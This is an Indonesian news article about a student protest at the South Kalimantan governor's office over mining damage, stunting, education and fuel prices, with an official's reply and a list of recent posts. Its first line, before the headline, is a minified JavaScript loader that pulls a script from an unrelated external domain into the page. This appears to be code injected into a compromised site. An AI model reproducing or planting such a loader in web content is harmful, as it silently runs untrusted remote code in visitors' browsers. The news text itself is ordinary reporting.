(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Aksi Mahasiswa Tabur Tanah di Kantor Gubernur Kalsel, “Paman Birin Dicari Rakyat”


KANALKALIMANTAN.COM, BANJARBARU – Badan Eksekutif Mahasiswa (BEM) Se Kalimantan Selatan (Kalsel) mengaku kecewa karena aksi yang mereka gelar di kantor Setda Provinsi Kalsel tidak dihadiri Gubernur Kalsel H Sahbirin Noor.

Kekecewaan ini disampaikan kordinator lapangan aksi, Satrio Ajie Bramanto. Satrio mengaku kecewa tidak ditemui Gubernur Kalsel, padahal pihaknya sudah melayangkan surat, tapi tak ditemui.

“Terkait tawaran untuk diskusi, kami sebelumnya melakukan konsolidasi dari itu kami bersepakat tidak ada perwakilan, kami hanya ingin berdikusi tanpa membawa hal yang macam-macam,” tegasnya, Kamis (20/10/2022) petang.

Pada aksi kali ini massa mahasiswa juga melakukan aksi simbolik dengan tabur bunga dan tanah tambang di depan pemeran ‘Paman Birin’ akibat kekecewaan mereka tak kunjung ditemui.

 

Baca juga : Soroti Jalan Longsor di Satui Akibat Tambang, Gubernur Mana! Gubernur Mana! Gubernur Mana!

“Aksi simbolik tadi bahwasanya pimpinan Kalsel hari ini tidak mau duduk bersama, dan tidak mau mendengarkan aspirasi dari kita,” ujarnya.

Demontrasi lanjutan, katanya akan terus dilakukan sampai mereka berhasil menemui Gubernur Kalsel untuk menyampaikan langsung kondisi Provinsi Kalsel saat ini.

Mereka melayangkan tuntutan tuntutan terkait isu lingkungan, seperti tambang ilegal batu bara di Pegunungan Meratus, longsor jalan nasional di Km 171 Satui, Tanah Bumbu akibat tambang batu bara, kemudian isu kesehatan terkait angka stunting yang angkanya masih tinggi.

Sambil berorasi para mahasiswa juga membentangkan spanduk besar warna putih bertuliskan “Paman Birin Dicari Rakyat”.

 

Baca juga : Hotel Fovere Hadiri di Kuala Kapuas, Ini Kata Bupati Ben Brahim

“Yang ketiga terkait isu pendidikan masih banyak yang perlu dituntaskan, masalah pendidikan ini dan terakhir masalah kenaikan BBM,” katanya.

Dalam waktu dekat kata Satrio, mereka akan kembali melakikan aksi dengan mendatangkan massa yang lebih banyak lagi, hingga berhasil menemui Gubernur Kalsel.

Dalam aksi di depan kantor Gubernur Kalsel, massa dan perwakilan Pemprov Kalsel melakukan diskusi, tapi menemui jalan buntu. Sebab, massa inginkan mereka bertamu langsung dengan Gunernur Kalsel.

Sementara itu, Asistem Pemerintahan dan Kesahteraan, Nurul Fajar Desira mengakui semua tuntutan dari BEM Se Kalsel sedang menjadi PR bagi Pemprov Kalsel dalam penanganannya.

 

Baca juga : BREAKING NEWS: BEM Se Kalsel Demo di Kantor Gubernur Kalsel

“Ini sudah menjadi isu penting yang kami inventarisir, Pemprov Kalsel sedang berupaya melakukan itu semua,” katanya.

Seperti lahan kritis di Kalsel ada 500 ribu hektare, pemerintah sudah mempunyai program reproduksi hijau, sudah 33 ribu hektare yang sudah ditanam, sedangkan untuk tambang sudah dilakukan penertiban izin pertambangan dari 1.000 izin sudah 600 surat izin sudah dicabut karena bermasalah.

Reklamasi juga ditarik dari perusahaan tambang ditagih dan dikumpulkan untuk melakukam reklamasi,” jelasnya.

Terkait angka stunting di Kalsel masih diangka 30 persen, dan diakui Fajar, Kalsel masuk 10 besar angka stunting tertinggi.

“Stunting menjadi isu utama di Pemprov Kalsel yang harus diselesaikan, untuk mengejar target nasional 14 persen,” bebernya.

 

Baca juga  : Warga Kabupaten Banjar Berduka, KH Fadlan Asy’ari Wafat di Tanah Suci Makkah

Dalam aksi ini Fajar juga menawarkan kepada BEM Se Kalsel untuk berdiskusi secara perwakilan, namun ditolak mentah-mentah oleh mereka sebab katanya mereka ingin duduk bersama agar semuanya mendengarkan tanpa ada keterwakilan.

“Tuntutan dari semua mahasiswa kita catat dan akan disampaikan ke pimpinan,” ujarnya memastikan.

Sekira pukul 17.00 Wita aksi mahasiswa membubarkan diri dengan tertib. Namun, aksi akan dilaksanakan kembali dengan massa yang lebih banyak lagi.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

2 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

4 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

5 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

6 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.